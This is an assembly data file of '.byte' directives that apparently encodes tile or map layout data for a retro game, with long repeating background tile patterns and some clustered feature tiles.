.byte $40, $0C, $01, $11, $12, $01, $0C, $04
.byte $05, $24, $0C, $2B, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $3A, $3A
.byte $39, $39, $3A, $39, $39, $3A, $22, $3D
.byte $3E, $0C, $01, $23, $0C, $01, $3B, $3C
.byte $0C, $24, $25, $26, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $3A, $3A, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $39, $3A, $3A, $39, $22, $0C
.byte $0C, $0C, $01, $23, $0C, $01, $04, $05
.byte $0C, $24, $27, $28, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $3A, $3A
.byte $39, $39, $3A, $39, $39, $3A, $22, $03
.byte $03, $03, $02, $03, $03, $02, $03, $03
.byte $03, $24, $27, $28, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $39, $3A, $3A, $13, $22, $3F
.byte $40, $0C, $01, $23, $0C, $01, $0C, $0C
.byte $0C, $24, $27, $28, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $22, $3D
.byte $3E, $0C, $01, $23, $0C, $01, $0C, $3B
.byte $3C, $24, $27, $28, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $39, $3A, $3A, $13, $22, $3F
.byte $40, $0C, $01, $23, $0C, $01, $0C, $04
.byte $05, $24, $29, $2A, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $22, $3D
.byte $3E, $0C, $01, $23, $0C, $01, $0C, $3B
.byte $3C, $24, $0C, $2C, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $39, $3A, $3A, $39, $22, $3F
.byte $40, $0C, $01, $23, $0C, $01, $0C, $04
.byte $05, $24, $2C, $3A, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $22, $3D
.byte $3E, $0C, $01, $0F, $10, $01, $0C, $3B
.byte $3C, $24, $3A, $39, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $39, $3A, $3A, $39, $22, $0C
.byte $0C, $0C, $01, $11, $12, $01, $0C, $04
.byte $05, $24, $39, $3A, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $3A
.byte $39, $39, $3A, $39, $39, $3A, $22, $03
.byte $03, $03, $02, $03, $03, $02, $03, $03
.byte $03, $24, $37, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $39, $3A, $3A, $39, $22, $3F
.byte $40, $0C, $01, $23, $0C, $01, $0C, $0C
.byte $0C, $24, $3A, $39, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $22, $3D
.byte $3E, $0C, $01, $30, $31, $01, $0C, $3B
.byte $3C, $24, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $39, $3A, $3A, $39, $22, $3F
.byte $40, $0C, $01, $32, $36, $01, $0C, $04
.byte $05, $24, $3A, $39, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $22, $3D
.byte $3E, $0C, $01, $23, $0C, $01, $0C, $0C
.byte $0C, $24, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $39, $3A, $3A, $39, $34, $35
.byte $35, $35, $35, $35, $35, $35, $35, $35
.byte $35, $36, $38, $39, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $3A, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $00, $00, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $49, $4A
.byte $4B, $3A, $39, $3A, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $4E, $4F
.byte $50, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $49, $4A, $14, $4A, $4B, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $49
.byte $4A, $14, $15, $14, $15, $19, $4A, $4B
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $49, $14
.byte $14, $15, $16, $14, $15, $14, $18, $0C
.byte $50, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $4D, $0C
.byte $14, $15, $14, $16, $16, $15, $15, $19
.byte $4A, $4B, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $49, $14, $15
.byte $16, $16, $15, $14, $14, $16, $15, $15
.byte $19, $4A, $4B, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $4D, $14, $15, $16
.byte $15, $15, $14, $16, $16, $15, $14, $14
.byte $18, $0C, $50, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $15, $15, $14, $16
.byte $16, $15, $14, $14, $15, $16, $16, $15
.byte $19, $0C, $4A, $4B, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $16, $14, $15, $15
.byte $14, $15, $14, $15, $14, $15, $16, $14
.byte $15, $19, $0C, $0C, $4A, $4B, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $16, $15, $14, $14
.byte $14, $15, $16, $15, $16, $15, $15, $16
.byte $15, $14, $19, $0C, $0C, $50, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $15, $16, $18, $15
.byte $16, $14, $15, $16, $14, $16, $14, $15
.byte $16, $15, $14, $18, $0C, $4B, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $19, $14, $15, $16
.byte $16, $15, $14, $14, $15, $16, $15, $16
.byte $14, $15, $16, $19, $4F, $50, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $18, $19, $15, $14
.byte $16, $16, $15, $14, $15, $16, $15, $14
.byte $15, $16, $15, $18, $4B, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $14, $15, $16, $15
.byte $16, $15, $16, $16, $15, $15, $16, $14
.byte $15, $15, $16, $16, $19, $4B, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $39
.byte $3A, $39, $3A, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $15, $14, $15, $16
.byte $15, $16, $15, $15, $16, $16, $15, $16
.byte $14, $14, $15, $17, $18, $50, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $14, $14, $16, $15
.byte $16, $14, $14, $14, $14, $16, $15, $16
.byte $15, $16, $18, $4F, $50, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $18, $18, $15, $15
.byte $15, $14, $15, $14, $15, $16, $14, $18
.byte $18, $15, $50, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $15, $16, $14, $18
.byte $15, $16, $18, $15, $16, $18, $14, $15
.byte $16, $4C, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $15, $16, $14, $14
.byte $15, $16, $14, $14, $16, $14, $18, $14
.byte $16, $15, $4A, $4B, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $18, $14, $16, $15
.byte $14, $16, $14, $15, $16, $16, $14, $15
.byte $14, $16, $15, $19, $4A, $4B, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $16, $15, $14, $18
.byte $16, $15, $14, $18, $16, $15, $14, $18
.byte $16, $15, $14, $16, $18, $4C, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $14, $15, $16, $14
.byte $15, $16, $14, $15, $16, $14, $15, $16
.byte $14, $15, $16, $18, $4F, $50, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $15, $14, $16, $15
.byte $14, $16, $15, $14, $16, $15, $14, $16
.byte $15, $14, $18, $4C, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $16, $15, $14, $16
.byte $15, $14, $16, $15, $14, $16, $15, $14
.byte $16, $18, $4F, $50, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $18, $14, $15, $16
.byte $16, $15, $14, $14, $15, $16, $16, $14
.byte $18, $4B, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $14, $18, $16, $15
.byte $14, $18, $16, $15, $14, $18, $15, $18
.byte $4F, $50, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $16, $15, $14, $16
.byte $15, $14, $16, $15, $14, $17, $18, $4C
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $39, $3A, $15, $14, $16, $15
.byte $14, $16, $15, $17, $18, $0C, $0C, $50
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $14, $15, $16, $15
.byte $14, $15, $18, $0C, $0C, $4F, $50, $39
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $15, $14, $16, $16
.byte $17, $18, $0C, $0C, $4F, $4B, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $16, $16, $15, $18
.byte $0C, $0C, $4F, $50, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $17, $17, $18, $0C
.byte $4F, $50, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $4F, $4F, $4F, $50
